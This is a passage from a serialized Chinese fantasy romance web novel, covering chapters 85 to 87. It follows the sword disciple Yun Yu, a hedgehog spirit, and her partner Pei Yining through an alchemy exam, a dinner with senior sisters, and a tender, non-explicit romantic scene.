她抓了为略有眼熟的同门询问,这才得知应滟和卞凝两人刚到这,就被其她峰阁的人邀请出宗做任务了。 杜师姐在任务阁为两人交接任务。 云榆了然,她来到武器架边上,上方的铁剑都被重铸一通,剑锋被打磨地锋利,她抽出一柄,来到一处人少的位置。 练了两柱香的时间,云榆将铁剑丢回到武器架上。 正欲转身,一道杀气不加掩饰地扑来。 危险一步步逼近,云榆高度警惕,抬臂的同时,身体往武器架边倾斜,借由武器架的遮挡,攻击者不得不放慢速度。 由此给了云榆喘息时机,她踩在武器架最下层借力往上,踩在一柄柄铁剑上,在最高处时,她凌空翻身。 在半空中转动数圈,稳稳落地。 她转身,杜寻雁一掌接来,云榆对上她那掌,笑道:“杜师姐,我刚回来不久,你一句话不说就对师妹动手,有点不太道德吧。” 杜寻雁收掌:“不错,在外也没荒废,如今修为竟是已经达到绿灵。” 云榆被夸得不好意思:“哪有,是师姐教的好。” 杜寻雁扫她眼:“裴师姐带的好,和杜师姐关系不大。”她毫无形象地弯下一坐,指指身侧的位置。 云榆环顾四周,皆是同门,就这样大喇喇地坐下,多不好:“师姐,有损形象。” 杜寻雁没好气地斜她一眼:“你还有形象?” 云榆反驳:“我当然有。” 杜寻雁翻了个白眼,又拍拍身边的位置,给她一个爱坐不坐的眼神,云榆适可而止,长腿一迈就坐过去。 先是说了遍在外历练的过程,云榆顿了顿,询问她不在期间,可有教什么新的剑法。 杜寻雁丢出两本剑法书籍给她:“你如今已经是绿灵,可以自行修炼,不用跟着我们的步骤来。我们只是提供参考,而不是必须。” 类似的话,在云榆迈入橙灵的时候杜寻雁就说过。 云榆收下,应了声“好”。 杜寻雁支起下巴,看好戏地:“你和裴师姐就这么成了?” 杜师姐说话好生奇怪,什么叫就这么成了。她和裴师姐可是历经许多才在一起的。 虽然其中绝大部分是因为她不开窍导致的,她但凡有裴依宁一半悟性,在感情上不至于迟钝这么多,早在出宗历练前,她和裴依宁就能确定道侣关系。 云榆:“千辛万苦。” 杜寻雁没好气地推了她下:“这话要是让原师姐听见,她不得把你投入炼器炉,去炼新的武器。” 云榆故作害怕地露出惊恐。 好在杜寻雁只是随口一提,没有像应滟卞凝,执着地探问她和裴依宁之间的事。 和杜师姐聊了几句,交流了会心法口诀,云榆抱着杜寻雁给的两本剑法书籍回到剑法之地。 翻看两眼,与刚练剑相比,要简单许多,云榆默记在心,抽出灵剑,按照书中记载的一招一式挥剑。 一套招式行云流水。云榆收剑,翻开另一本剑法书籍,如方才一般,只是看过几眼,就已默记于心。 怪不得杜师姐说不用跟随她们的指导脚步。 云榆索性将这两本剑法书籍带回给杜寻雁,杜寻雁接过,问都没问她练的怎么样。 回到杜寻雁身边打坐,吸纳混合在空气中的灵气滋养灵珠。 中午,云榆去了趟藏书阁,寻了几本高品阶的功法,在将要离开前,她看见其中一个分类——幻术。 她脚步慢了几分,在原地思索片刻,她走进这个分类。 整整数只书架上摆满各种类型的幻术书籍。她拿过距离最近的一,翻开。 上下扫过几眼,她放了回去。 她暂时不学习幻术。 从藏书阁出来,她收到杜寻雁的传音,让她去阵灵阁和灵丹堂领取剑法阁下个月的符纸和丹药。 云榆认命地调转方向,先往阵灵阁去。 在去的途中,她不忘传音给杜寻雁:【杜师姐,我这个月的灵石什么时候给我?】 杜寻雁:【这个月你不是在外面吗?】 云榆:【那也不能差我的!还有这个月的,我都记着,一共210枚灵石。】 杜寻雁:【知道了,知道了,晚点你来找我拿。】 这还差不多。 是她的,别人一分都别想赖掉,更何况是灵石这么重要的东西。 踏入阵灵阁的地界,云榆第一反应是,不愧是明越宗三大富裕地之一,各种阵法相交,覆盖在高耸的建筑上。 更甚着,就连云层中都若隐若现阵法的轮廓。 她曾听闻,明越宗始终能保持差不多的气候,其中很大一部分原因是依靠阵灵阁的调节阵法。 她今日来的时间正好,阵灵阁的那位大师姐在阁内,听闻她的来意,直接让同门去取了符纸给她。 只是在交给她时,这位师姐问她:“云师妹?” 这位师姐,她在灵丹堂的宴请上见到过,好像这人还是宗主的唯一亲传。 云榆:“白师姐可还有事?” 那位师姐清冷昳丽的五官中闪过一丝笑意:“云师妹是依宁的道侣?” 这件事在宗门内不算秘密,她今日修炼时,就感觉到似有若无的目光落在她身上。 但被一位陌生的师姐这般直白地说出,云榆多有羞涩,可从白师姐对裴依宁的称呼看,她和裴师姐应当是很好的关系。 云榆脑海中浮现裴依宁曾与她提及的几位好友,其中一位就是宗主亲传。 想来就是眼前这位。 云榆不由得更加恭敬:“是。” 白清凡微微点头,倒是没有多问,让阵灵阁的一位门人送她出了峰阁。 从阵灵阁出来,云榆直奔灵丹堂而去。等师姐来找她,不如她主动出击,先去找师姐。 灵丹堂内,裴依宁正在挑选本次考核需要炼制的丹药。 伴随着轻微的书页翻动声,下方十数位坐在各自炼丹炉后的师妹们胆战心惊地望着不远处面容冷淡,眉宇间不苟言笑的女人。 灵丹堂的考核素来随机,往往临时通知,这次考核却是七日前就定下的,原以为这次可以有充足的时间准备,可当她们达到考核地方知,这次考核内容是由裴师姐出。 她们没见过几次裴师姐的面,每次都恭敬又畏惧。 书页翻动声还在继续,只是相比与一开始,慢了许多。 应该是裴师姐要发布的考核内容就在这几页中。几位相熟的同门对视一眼,暗暗猜测。 纳兰然站在裴依宁身侧,稍一探头,就瞧见书页上的内容。 最低的都是三品丹药。 对于她们,会不会太难了。 就在这时,裴依宁翻回到第一页,纤长手指滑过其中上下两行:“第一场,考核内容便是这个,任意丹药。” 纳兰然接过,看清要求后,不免环顾下面的十数人。 师妹们哀求的目光齐刷刷地投射过来。 纳兰然性格向来极好,每每教导她们亦是轻声细语,师妹们没那么怕她。 可从对方方才露出的错愕来看,莫非这次的题目很难。 纳兰然轻咳:“本次考核共分三场,第一场,半个时辰,炼制……”她顿了顿,眼神在惴惴不安的师妹们脸上扫过,“任意一枚一品丹药。” “一品丹药?” “任意,这不是不管什么一品丹药都行吗?” “这次考核这么简单?” “这才第一场,说不定下面两场很难呢。” “……” 纳兰然冷声:“只有半个时辰,计时开始。” 另一边,一人开始计时。 裴依宁负手而立,在炼丹炉间穿行,确定每人的步骤都是对的后,她走到考核殿的殿门口,凝视外面的景象。 “咔嚓。” 就在这时,有丹裂声响起。 裴依宁头也不回地继续欣赏殿外场景。 一品丹药对于这群入宗快一年的人来说并不算难,不多时,阵阵丹香从炼丹炉内传出,裴依宁转回殿内。 陆续有人开炉取丹,将炼制好的丹药放入药瓶中,贴上名姓,交到上方专门放置丹瓶的凹槽中。 半个时辰,所有人皆是完成了一品丹药的炼制。 纳兰然:“师姐,第一场考核结束,第二场现在开始,还是?” 裴依宁:“与以往一般,一炷香后开始。” 纳兰然应下。 有一炷香的休息时间,众考核之人泄下气,纷纷凑在一起,小声分析裴师姐下面的考核内容。 第一场实在是太简单,比入宗后的考核都要简单。 她们不得不怀疑,是后两场考核过难,裴师姐为了不打击她们,让她们能在三场考核后,让她们有一场分数好看些。 裴依宁随手拿起一只丹瓶,取出里面的丹药,色泽,形状,香气,数量都不错。 又拿起一瓶,如第一瓶一样。 十数瓶丹药无一例外,都达到了裴依宁的要求。 一炷香后,第二场考核开始。 裴依宁没再翻那本书,她径直道:“在你们面前,放置了一部分药材。你们需要蒙眼,根据药株的气味,药草叶片形状等,分辨出哪些是你们需要的,并由此炼制出任意二品丹药。时间一个时辰。第二场考核,开始。” 十数人皆是蒙上眼睛,盲选药材,放在鼻子下嗅闻,分辨种类。 纳兰然看着师妹们眉头紧锁:“裴师姐,会不会太难了些,之前没有训练过她们这些。” 裴依宁淡淡道:“你们当年考核是蒙眼挑选炼制指定丹药所需的药材,可比这个难多了。” 任意丹药这个范围太宽泛,即使选择的药株与自己原定想要炼制的不一样,可有些丹药的药材是互通的,删减过后,也能炼制出。 但指定丹药,便是只能选出具体的那几样药株才行,难度自是要上一等。 纳兰然不好再说。 灵识内收到一道传音:【裴师姐,你在哪,剑法阁云榆特来求见。】 裴依宁淡然的脸上闪过一丝无奈。她看了眼面前还在挑选的师妹们,歪头低声与纳兰然道:“纳兰师妹,我出去一会。” 纳兰然:“好的,裴师姐。” 云榆等在灵丹堂的正殿内,正与堂内一位师姐闲聊。 师姐道:“今天堂内考核,裴师姐一时半会可能来不了,云师妹在这稍等会。” 云榆:“考核?” 师姐:“各个峰阁都有,只是时间不固定,云师妹入宗也有一年多了,不曾考核过吗?” 云榆想了想:“考核过。” 殿内多出一道人影,云榆与那位师姐相谈盛欢,一时未有注意,还是那位师姐无意中扫眸,瞧见立于门边,不知来了多久的人。 那位师姐拱手:“裴师姐。” 云榆闻声,扭头看去,惊喜地:“裴师姐。” 裴依宁略一点头,这才进入殿内:“在聊什么这么开心?” 云榆:“没什么,师姐不是在监管考核吗?结束了?” 那位师姐见裴依宁来,去忙别的了。 “怎么不坐,”裴依宁点点附近的位置,“还没结束,等会回去。” 云榆耸耸肩,忽而低低一笑,凑近裴依宁,用两人可以听见的声音说:“师姐,我要检举你玩忽职守。” 裴依宁作势要走:“既然如此,那我现在回去。” 云榆急忙拉住她:“哎,别走啊。开个玩笑。” 裴依宁回身,眉梢往上一提。 云榆:“……” 又被师姐骗了,小本子上再记上师姐一笔。 云榆回归正题:“杜师姐让我过来取下个月的丹药,刚才那位师姐已经给我了,师姐还要监督考核的话,我就先回去了,晚些等师姐来找我,或者是我在这等师姐?” 裴依宁:“跟我来。” 没有说目的地,但云榆放心地跟上师姐,师姐总不能将她卖了。在殿宇间的小路七拐八拐,视线豁然开朗。 裴依宁拦住她:“这是考核殿,你等会进去,在我身边跟着,不要乱跑,不要出声。” 云榆在嘴巴上画了个叉,表示自己绝对不会多说,但:“灵丹堂考核,我一个剑法阁的人进去不太好吧。会不会打扰到她们。” 裴依宁:“不会,宗门有规定,各大峰阁考核时,可以旁观,只要不出声,不扰乱考核秩序。” 如此,云榆放心跟着裴依宁进入考核殿。 殿内的十数人已经挑选完所需要的药材,摘下蒙眼的物件,认真炼制丹药。 裴依宁大致看过去,从她们挑选的药材中,分辨出她们要炼制的丹药。只是其中有几人药盒上摆放的药材,因挑选错,而无法炼制出成丹。 云榆悄声无息地躲在裴依宁身上,对里面的纳兰然抬下手,当是打招呼了。 纳兰然一点头,过去对裴依宁道:“裴师姐,这次恐怕只有数人能炼制成丹药。” 话音刚落,一只炼丹炉边缘冒出浓烟,裴依宁眼神一动,下一秒,丹裂声响起。 一个时辰已经过去大半,再重新蒙眼炼丹已然来不及。 那人只好无奈地垂坐在那。 紧接着,第二声,第三声…… 接连数人失败。 仅剩的人中,还有两个因为药材不对,根本无法炼制,固而也被淘汰。 裴依宁面色微沉。 随着一个时辰落幕,最后呈上来五瓶丹瓶。 只有五人炼制成功。 云榆不太了解丹修的考核,但根据推算,若是上次剑法阁考核,只有五人通过,杜寻雁能把她们练死。 她偷偷看向裴依宁,女人如玉的侧脸上看不出神情。 裴依宁平淡道:“这一年,你们学的什么?” 很平常的口吻,甚至不带有一丝严厉色彩。考核的十数人心惊地绷着,不敢与裴依宁对视。 这个样子的裴师姐好可怕。 云榆抱紧自己。 作者有话说: 云榆:抱紧自己 裴依宁:…… 第86章 第八十六章[VIP] 考核殿内的十数人一个个静若木鸡, 耷拉着脑袋,有几个胆子稍大点的,求助地望向纳兰然和云榆。 感受到投射来的目光,云榆默默缩起脑袋, 不当出头鸟。 裴依宁打开炼制成功的五瓶丹药, 挨个将丹药取出,除却其中两枚外, 剩下的三枚, 要么形状不规则,要么药香淡到几乎没有。 这是挑错原定的药材, 临时炼制其它丹药,却又因为药株不够导致的。 将其放回药瓶后, 裴依宁眉宇间神色越发凝重,她偏头低声对纳兰然道:“第三场考核,指定一种二品丹药让她们炼制。” 纳兰然应声,从考核书中挑选了一枚难易适中的丹药当做最终场的考题。 这次不需要蒙眼挑选药材,众师妹们皆是松了口气。 云榆掀起眼帘, 瞧见裴依宁走向其中一位师妹身前, 弯下身, 与那师妹说了什么后, 那人露出惊讶的表情, 但在裴依宁面前, 还是点点头。 紧接着,裴依宁去向另一位师妹身前, 同样的场景二次上演。 很快, 那两人去了考核殿,裴依宁回到云榆身边。 按下好奇, 云榆收回目光。 不多时,那两位师妹端着药盘一前一后地回来了。 药盘上的药株与考核殿内其她人的有所不同,云榆小幅度地垫起脚尖,碍于对药材认识不多,她没能看出所以然。 但隔着一人距离的纳兰然看得清楚,她轻声道:“三品还灵丹所需要的药材。” 裴依宁点头:“她们二人已经领先其余人许多,相同的考核内容于她们意义不大。” 纳兰然了然。 第三场考核的时间更长,足有两个时辰,云榆站着一动不动,身体有些发麻。她悄悄看向裴依宁,视线一转,又看向纳兰然。 两人除了时不时到下面转悠一圈外,大多数时候也是与她这般站着。 连个椅子都不坐,站那么长时间真的不会难受吗?云榆不动声色地弯身揉了下膝盖。 裴依宁传音恰在此刻过来:【星星,这里还要一会才结束,无聊的话,你可以去外面转转,或是回剑法阁,等结束后我去找你。】 云榆心中一惊,连忙收回小动作,但直起身,半个身位前的人压根没有回头看过她一眼。 裴师姐背后有眼睛。云榆暗道。 她传音:【没关系,我不急,也不无聊。】 裴依宁没再回话。 两柱香后,第三场考核结束,这一次,考核殿内的人都炼制成功了,一瓶瓶丹药摆在固定的位置上。 瓶塞一开,清淡的药香遍布考核殿。 那两位炼制三品丹药的师妹还在继续。 又等了会,两人相继成功。 另一边,纳兰然和一位师姐正在记录这三场考核的实际情况以及众位师妹在炼丹时的不足之处。 追着晚霞的影子,从考核殿出来,云榆肆无忌惮地转动脖颈,揉捏后脑勺。 灵丹堂的考核真废时间,不仅是对考核者的折磨,还是对监督者的折磨。 不像剑法阁,每个人考核都极快,只是剑法阁门人极多,显得时间长。 但只是折磨监督者而已。 云榆莫名想到上次杜师姐从早监督到晚,毫无精神气的模样就忍不住想笑。 裴依宁:“在笑什么?” 云榆“嘿嘿”一笑,鬼模鬼样地往两边看去,确定周围无人后,她一个健步凑到裴依宁身侧,将想的事说了遍,而后道:“不知道剑法阁下次考核是什么时候,到时我把杜师姐的表情记录下给师姐看。” 裴依宁反问:“为什么要记录杜师妹的表情?” 云榆理所当然地:“有趣啊。” 裴依宁微微蹙眉:“不许记录。” 云榆:“……哦。” 她素来听话,师姐说不让做什么,她便不做什么。她晃过去挽女人的胳膊,感知到女人身上的暖意,开口继续道:“师姐,怪不得之前传你不近人情。” 裴依宁:“我不近人情?” 她之前还当着正主的面,说对方不近人情,如今更没什么好怕的。云榆一本正经地点头:“是啊,你今天太严肃了。” 裴依宁:“入宗一年有余的时间,在灵丹堂各种资源堆积,众师妹的教导下,仍旧无法通过今日的第二场考核。” 她顿了顿,语速慢了几分:“能进入灵丹堂的,在炼丹上各有各的天赋。而且她们整日与各种药材打交道,却连基本的依靠气味辨别药材都做不到,从某种程度上来说,这不符合灵丹堂对她们的预期。” “如果这算是不近人情的话,那倒是没说错。” 裴依宁歪头,好以整暇地看向一脸无辜的人,慢条斯理的语调染上笑音:“我记得,杜师妹曾经托我监督云师妹修炼,云师妹可还记得?这段时间可有偷懒。” 云榆:“……” 她就不应该提出这个话题。 晚霞与遥远的地平线形成一片天,云榆挽着裴依宁的手慢悠悠地往前晃荡。 每每遇上灵丹堂的师姐妹,她眼疾手快地松开裴依宁,好似要与对方划清界线,而等人走远了,再挽住女人。 几次下来,裴依宁抽出被她挽住的手臂,径直拉住还没回过神的小妖的手,十指扣住:“别乱动了,我们是道侣,在外不必这样偷偷摸摸。” 云榆反驳:“谁偷偷摸摸了。” 裴依宁淡淡地:“你。” 云榆:“……那不是担心影响你在宗门的形象嘛,哎” 一栋建筑撞入眼中,云榆拉住还在行进中的人,下巴点点,示意女人看去。 裴依宁顺着她点的方向看去,眼底不由得闪过一丝怀念,她挑起眉梢:“进去吗?” 云榆重重一点头。 膳食堂,她和师姐初遇的地方。她和师姐结为道侣后,故地重游。 没入宗前听人们说起过,这叫什么“定情之地”,是很有纪念意义的地方。 云榆深以为然。 此刻膳食堂内已然无人,殿门关闭,门前用灵法锁住。 裴依宁念动间,锁住的灵法背被抵消,她推开,往后一看,一直跟在身侧的小妖没了身影。 她想到什么,不由得微微一笑,在殿门边等了会,估摸着时间差不多,她迈步入内,反手关了殿门。 殿内光线昏暗,裴依宁凭空取出一盏油灯,步履缓慢地走到第一次遇见小刺猬的那张桌前,将油灯放置其中。 隐约中,余光瞥见一团小小的影子快速地蹿动,身后还拖着一根偏长的东西。 不是小刺猬的尾巴。 是一株药株。 裴依宁弯下唇,鞋面被踩上,衣衫被拽动,那团小黑影娴熟地爬到她的腿上。 在灯光下,小刺猬脊背上的软刺被镀上一层浅淡柔和的光晕。她甩甩身体,洒在刺上的光晕被刺戳穿般,晃动不止。 那根药株被竖在桌腿边。 裴依宁弯身去抱小刺猬,被小刺猬灵活地躲过,借由她膝盖一蹬,小刺猬落在油灯边,双爪叉腰,威风凌凌。 小刺猬:“本星星现身,尔等还不快快迎接。” 裴依宁一瞬不瞬地盯着她。 小刺猬立直身体,小肚子明晃晃地露在外面,柔柔软软,引人去戳。 裴依宁克制住念想,小刺猬的本体,可没有人形那么好的脾气。 若是一爪子拍下来,也是疼的。 不满意于女人的不动,小刺猬重复了遍:“本星星现身,你为何不迎接,真是大胆。” 裴依宁拱手:“恭迎星星到来。” 小刺猬满意:“这还差不多。” 小刺猬坐下,下肢交叠,想像人形那般一条腿翘在另一条腿上,可尝试几次,都因为下肢不够长,叠上去反而显得爪子更短了。 小刺猬悻悻地放下爪子,再抬眼,发现女人将她的一举一动尽收眼底,小刺猬自尊心上来,欲盖弥彰地收起下肢,拢在肚子上。 小刺猬耳尖红红地:“大胆,你在看什么。” 裴依宁:“没什么。” 她拾起旁边的那根药株,递到小刺猬爪边:“星星,吃吗?” 小刺猬双爪抱住,咬下一口,寡淡的药香滚在味蕾。 好久没生吃这些,小刺猬还有些不习惯。更多的是口味早已被裴依宁养好。 裴依宁:“好吃吗?” 小刺猬伸直爪子:“尝尝?” 小刺猬咬的那口并不大,看上去只是缺了块小口子。 还不等裴依宁张口,那根药株被小刺猬一把拽回,掉个头重新递过去。 裴师姐对她的本体好像没有人形那么亲热。之前她本体想要亲亲裴依宁,还被对方要求变成人形才能亲。 小刺猬记得清清楚楚。 裴依宁揽过垂过的发丝,探头咬下一口。 很熟悉的药香。 小刺猬晚饭还没吃,一人一妖就在膳食堂,不吃点什么属实说不过去。 裴依宁挑选了一株药性保留不错的药株,又从空间储物中取出部分家妖们给的食物,一并处理了。 小刺猬在她做饭时总会不老实,喜欢趴在她的身边,探头探脑的。 殿内灯光柔和,晚风自半开的窗边吹入,小刺猬顺着长桌,一路蹦蹦跳跳,爬上窗台,爪子撑起窗,将其完成支起。 她坐在窗沿边,不真实的感觉油然而生。许久前,她还是夜夜来此偷吃的小刺猬,现在,已经可以光明正大地坐在殿内,不怕被任何人发现。 窗台下的草地长久没有被小刺猬滚过,平整地犹如天然而成的一整块。 感概良多的小刺猬刚要钻回殿内,视野中出现两道人形,正朝这而来。 小刺猬定睛一看,是原师姐和风师姐。 她们二人回来了。 她们怎么到灵丹堂来了,不对,看两人的方向,是直奔膳食堂而来。 小刺猬钻回膳食堂内,四肢并用,蹿到裴依宁附近:“师姐。” 小刺猬拔高声量,盖过做饭的声响:“原师姐和风师姐过来了。” 裴依宁将最好的菜品盛出,一条手臂勾起,小刺猬爬上去,被女人整只连同菜品一起端到桌面上。 菜碟刚放下,膳食堂的门被推开。 温柔舒缓的声调扬起,风浅念一如往昔,笑容清浅:“好香啊,看来我们来得正是时候。” 原师姐对着两人点下头,算是招呼。 裴依宁:“原师姐,浅念,你们何时回来的?” 风浅念道:“午时回来的,听说你与云师妹结为道侣了,便想着与原师姐过来恭贺。不过当时正值你在考核殿,就没有打扰。” “这就是云师妹的本体,好可爱。” 小刺猬正想化作本体,闻声,趴回到裴依宁小臂,一动不动地装成小玩偶。 风浅念上前,她见过云榆的本体,可还不曾这般近距离看过,更不曾摸过,眼下被可爱到,跃跃欲试:“我可以碰碰云师妹吗?” 被夸可爱的小刺猬洋洋得意地抬起身上,一根手指却是将她压趴回原位。 当成两位师姐的面被戳过去,小刺猬气鼓鼓地瞪向始作俑者。 偏偏那双黑漆漆的眸子过于无辜可怜,看不出半点生气。 “云师妹这是不高兴了?”风浅念敏锐地察觉到小刺猬情绪转变,莞尔,“看来云师妹本体很黏依宁。” 小刺猬更生气了,风师姐性情那般好,那般温柔,被风师姐捧在身上,感觉一定很好。 这个笨蛋裴依宁。 小刺猬越想越气。 裴依宁将小刺猬往前递去:“可以。” 小刺猬怔愣一瞬,已经被送到风浅念身上,后者惊喜地戳戳她脊背上的软刺,笑意更深:“真的好可爱,萌萌的。” 飘飘然的小刺猬主动爬上风浅念的手臂,懒洋洋地趴在风师姐的手背上:“风师姐好。” 风浅念:“云师妹,晚上好。” 在征询过裴依宁和小刺猬的意愿后,风浅念很轻地点了点小刺猬的脸颊和肚子,而后意犹未尽地将小刺猬还给裴依宁。 裴依宁:“原师姐要碰碰吗?” 好心情的小刺猬顷刻间僵住身体,诧异地望向裴依宁,后者只是对着她扬了扬眉梢。 原以诗:“不用了。” 身体紧绷的小刺猬松垮下来。 即使本体再怎么无法无天,在面对这位冷冰冰的师姐时,她止不住地犯怵。 原师姐不像是喜欢可爱事物的人。 她悄无声息地将目光定在风浅念身上一瞬,又不动声色地收回。 风浅念:“今日走时忘记取器物堂下个月的丹药,想着考核应当结束了,便与原师姐一同过来了。” 三人落座,小刺猬乖巧地趴在裴依宁碗边。 裴依宁:“你们那边处理完了?” 风浅念道:“处理完了,的确如传来的消息所言,那里有玄冰石。但深埋于冰层下方,前来的宗门较多,我与原师姐夺得一块便退回了。而后在周围城池玩了段时间才回来。” 小刺猬又瞥了眼原以诗。 原以诗很少说话,给三人添了饭,到小刺猬时,她手悬停在半空,无声的询问要多少。 裴依宁道:“正常人份量。” 小刺猬莫名觉得羞涩。她趁几人说话间,用爪子捧捧自己的肚子。 虽然小小一个,但是她可以化形啊,一旦化形,就是正常人。 为什么要质疑小刺猬的食量,是觉得小刺猬不能吃吗? 可恶。 裴依宁边与风浅念交谈,边揉揉小刺猬的软刺。 小刺猬的气消下去些。 她抱起小勺子,挖起白米饭往嘴巴里塞。一双筷子伸来,落在她碗中。 是裴依宁知道她不好意思在师姐动爪,主动给她夹菜。 小刺猬很好哄,气彻底消下去。 眼角的余光瞧见对面的原师姐也在给风师姐夹菜,风师姐没有拒绝。 两人之间的氛围比出宗,与她们分别后还要融洽。 原师姐对风师姐很了解的感觉,有的菜会先夹到空碗中,挑出风师姐不吃的,而后再夹入风师姐碗中。 她当时对原师姐和风师姐关系的直觉是,两人之间的关系就如她和裴师姐那般亲密。 如今她和裴师姐结为道侣,面前这两人仍旧无半点风声。 想着想着,桌面上的话题牵扯到她所想的部分。 风浅念放下筷子:“我们几人中,清凡是最快与人结为道侣的,而后是你。都很出乎我的意料。” 这两人性子在那,最是少与人交流。 裴依宁弯唇。 原以诗拎起酒杯,抿了口,视线长久停留在风浅念身上,她压着额头,不知在想些什么,随后将杯中酒水一饮而尽。 裴依宁:“最出乎意料的,应该是清凡才对。” 风浅念不置可否。 “对了,你和云师妹处理完妖物后,一直留在了那里吗?”风浅念好奇,“听说你们也是前两日才回来。” 裴依宁:“并非,我们去了趟别处。” 裴依宁没说具体的地方,风浅念有分寸的没有追问。 饭后,三人带着小妖在外面散步。 说是散步,其实是裴依宁和小刺猬送原以诗和风浅念回去。 裴依宁将小刺猬从手臂上提到肩膀上。 夜色沉沉,微风阵阵,静谧的环境中偶来几声灵丹堂师姐妹们的说笑声。 边走边聊,不知不觉间到了灵丹堂的峰崖边。 风浅念停住脚步:“就到这吧。” 裴依宁:“路途辛苦,你与原师姐早些回去休息。” 风浅念笑笑,矮下身,对着趴着快睡着的小刺猬打了个招呼:“云师妹,下次见。” 小刺猬清醒:“风师姐,下次见。”眼神一转,“原师姐,下次见。” 原以诗:“下次见。” 目送风浅念和原以诗出了峰阁,裴依宁提起小刺猬。 四肢垂落的小刺猬习以为常的认命,今夜连挣扎都没有了。 裴依宁将小刺猬拎到眼前,眉心皱起,浅色瞳孔倒映出小刺猬此刻的样子:“星星。” 小刺猬:“嗯。” 裴依宁蹲下,柔和的灵力包裹住小刺猬,将小刺猬悬浮在地面数公分的位置。 不明所以的小刺猬近乎躺在半空中,随即,她的小肚子,腰身,脊背,脸颊,耳朵……身体的所有部位都被裴依宁摸过。 小刺猬睁大眼睛,咬牙切齿:“裴依宁,你在做什么!” 摸完的裴依宁捞起羞涩到愤怒的小刺猬,轻声道:“星星,我不能摸吗?” 又想起那日剑法阁内,小刺猬让剑法阁的人排队摸的画面,她眼皮跳动,轻咬舌尖。 小刺猬:“能摸,但是……不能这么摸。” 这么摸,小刺猬还要不要面子了。 还好原师姐和风师姐走了,不然被看见,她云小刺猬将无颜面对宗门人。 但原师姐的注意力应该不会在自己身上,她的目光总是落在风师姐那。 就比如现在,原以诗视线落在风师姐脸上,她晚上喝了几杯酒,没有用灵力蒸发,走路有点不稳。 风浅念抬手扶住她:“原师姐,小心,别摔倒了。” 她运转灵力要替原以诗炼化酒水,被后者轻轻握住,摇头拒绝:“浅念,不会摔的。” 她酒量不至于那般不好,额头突突起跳,带着点疼。 心口的酸楚填盈,荡得她泛着酸水。 有些话,说多了,好像就不知道该怎么说了,都说酒壮怂人胆,但喝过酒的她,反倒胆子变得更小。 原以诗用力摇摇头,她拉住风浅念的手臂,闭了闭眼,喉咙干涩地道:“裴师妹与云师妹结为道侣了。” 风浅念:“嗯。” 知道她想表达什么,风浅念虚虚搭上原以诗拉着她的手臂,五根手指松开又握紧:“原师姐,你有点醉了,我送你回去。” 原以诗停顿数秒,似乎笑了下:“好。” 每每提到类似的话题,两人间总会冷场,今夜也不例外。 一路上,两人沉默着,相对无言。 直到到原以诗的洞府前,这方沉默才被打破,原以诗运转灵力,将酒水炼化,身上酒气被清除一空。 风浅念笑:“现在肯炼化清醒了?” 原以诗跟着笑:“不然呢,你会留下来招呼我吗?” 风浅念思索片刻:“好像不是不可以。” 毕竟在宗门外的这段时间,她和原以诗日夜相处,互有照顾,今夜多一照顾,未尝不可。 只是,在外是在外,在宗是在宗,感觉总是不一样。 风浅念后退两步,招招手,笑容明媚温和:“晚安,原师姐。” 原以诗:“晚安。” “晚安,裴师姐……”某只小刺猬刚被放下就打着哈欠地和人说了句。 然话音未落,某只小刺猬今日第三次被提起。 小刺猬的忍耐度是有限的。云小刺猬凶巴巴地要控诉,却被裴依宁先一步截胡:“星星,变回人形。” 小刺猬面色不善地变回人形。 裴依宁单膝跪在床上,指腹触在云榆的脸上,指尖顺着肌肤往下滑。 云榆瞌睡被惊地无影无踪,连气都散没了:“师姐?” 裴依宁揉着云榆的肩:“星星,哄我。” 作者有话说: 对不起,来晚了,今天太忙了 本章掉落五十个小红包 第87章 第八十七章[VIP] 云榆退无可退, 裴依宁跪在床上的那条腿卡在她的腰侧,落下的影子覆盖住她,压迫感十足。 她不自觉地单手反撑在床面上维持身形,另一只手死死按在大腿边, 喉咙滚动间, 她哑声问师姐:“什么?” 裴依宁逼近她,淡淡的药香味如影随形地萦绕在云榆鼻息间, 在视线无限变暗的间隙, 嗅觉变得无限灵敏。 在即将贴近的刹那,云榆闭上了眼, 预想中的柔软并没有来到。 小妖半睁开眼,面前是女人放大的五官, 莹白的肌肤就这般落在瞳孔中。 师姐停住了,某只小妖不解地拉住裴依宁腰间的束带,耳尖晕染成夕阳落下时的色彩:“师姐?” 裴依宁护着云榆的两侧,指腹揉在腰侧的布料上,一遍遍, 一次次轻缓的打着圈:“星星, 哄我。” 她要让云榆主动, 让云榆来哄她。 云榆一点点睁大眼, 似乎没理解“哄”这个字的意味, 印象中, 姐姐每次哄她,都是用好吃的。 但哄师姐, 好吃的定然不行。师姐。想要她用什么哄呢? 云榆胡乱的思绪逐渐拨开云层, 明朗起来。 师姐想要的是她,就如同方才不断下降的身体, 不断靠近的面庞,等着她的主动接近。 电光火石间,云榆觉得自己开窍了。 她直直地抱住师姐。 因她突然的举动,裴依宁身体踉跄了下,但被云榆很好的护住,单膝跪下的腿被云榆撇了下,小妖往床上倒下。 裴依宁下意识抽回腿,稳住身形。 可已经来不及了,位置瞬息间互换,裴依宁跌入柔软的床心,不带有所反应,身上人欺身而来。 那层阴影覆盖在裴依宁的身上,顺着小妖不时晃动而晃动。 云榆一手撑在师姐脸侧,另只手揽着师姐的腰身,目光灼灼地盯着下方的人,云榆垂头,额头碰了几次女人的下巴:“师姐,这么哄可以吗?” 尾调带着刻意的上扬和拉长,裴依宁静静地望着身上人,面上不动声色,可心底已掀起惊涛骇浪。 她等待小妖下一步要做什么。 可得不到她的答复,云榆只是这么撑着,保持着这个动作。 不得已,裴依宁很轻地“嗯”了声,“可以。” 云榆咬住下唇,视线凝固在师姐红润的唇上。 她想亲师姐。 师姐会喜欢的。云榆知道师姐的意思。 她低下头,含住那边唇,唇齿磕碰间,她微微抬起头,指腹下压着几根师姐的发丝,就着那几根发丝,一并在师姐脸上滑动。 酥酥痒痒的触觉犹如电流直上直下,裴依宁唇上染上晶莹的水光,她眉宇间的神色温和而平静,细看中,却带着一丝难耐。 云榆重新低下头,啄吻那片唇瓣:“师姐,好好哄。” 亲亲就可以哄好。 那只滑动的手不知不觉地停下,在一人一妖无意识中,那只原本揽住师姐腰身的手不规矩地动起。 杂乱无章地一下下地勾动师姐的衣衫,而后再松开,勾动,来来回回,沉浸在另一片世界的人和妖浑然没有发觉她处的动静。 直到缠绵的一吻结束,云榆支起身体,微微喘着气,她怜惜地在女人额角落下一吻:“师姐……” 裴依宁清明的眼神迷离几分,好看的眉宇间多了一抹小山。 发觉身下人的视线在往下看,她目光跟着过去,却见不知什么时候,她将师姐腰间的那条束带解开了,外衫正松松垮垮地往两侧摊开。 